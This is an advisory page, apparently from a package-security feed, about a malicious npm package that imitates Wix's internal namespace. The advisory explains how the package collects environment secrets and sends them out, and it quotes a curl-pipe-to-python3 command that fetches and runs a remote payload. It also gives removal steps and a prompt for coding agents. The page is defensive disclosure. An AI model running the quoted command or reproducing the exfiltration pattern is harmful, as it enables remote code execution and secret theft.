# MAL-2026-17578: Malicious code in css-yhpodl-polyfill (npm)


- **Type:** Malicious package
- **Package:** `css-yhpodl-polyfill` (npm)
- **Published:** 5 Oct 2026

## What is MAL-2026-17578?

MAL-2026-17578 is a malicious package in css-yhpodl-polyfill, published on 5 Oct 2026. 

### Official description

css-yhpodl-polyfill ships thunderboltRegistry.js which, as an IIFE executed on require, runs shell reconnaissance (`id`, `whoami`, `env`, `ifconfig`/`ip addr`, hostname) via child_process.execSync and sends the collected host identity and full environment variables via GET to the hardcoded Burp Collaborator OAST endpoint https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The same file executes `curl -L https://appsecc.com/py | python3`, piping an attacker-controlled remote Python payload into python3 for arbitrary code execution on the installer host. The package name and exported identifiers (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, editorRegistry, corvidRegistry) impersonate Wix's internal thunderbolt namespace, and registry-manifest.min.json references parastorage.com (Wix CDN) — the shape of a targeted dependency-confusion attack against the Wix engineering build pipeline. Installing or requiring this package exfiltrates environment secrets and grants remote code execution to the attacker.

## What should I do about MAL-2026-17578?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-17578 is a malicious package: css-yhpodl-polyfill (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-17578/ (Markdown: https://insights.sbomify.com/MAL-2026-17578/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-17578

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-17578/
Summaries are generated and may contain mistakes; the official description above is the record.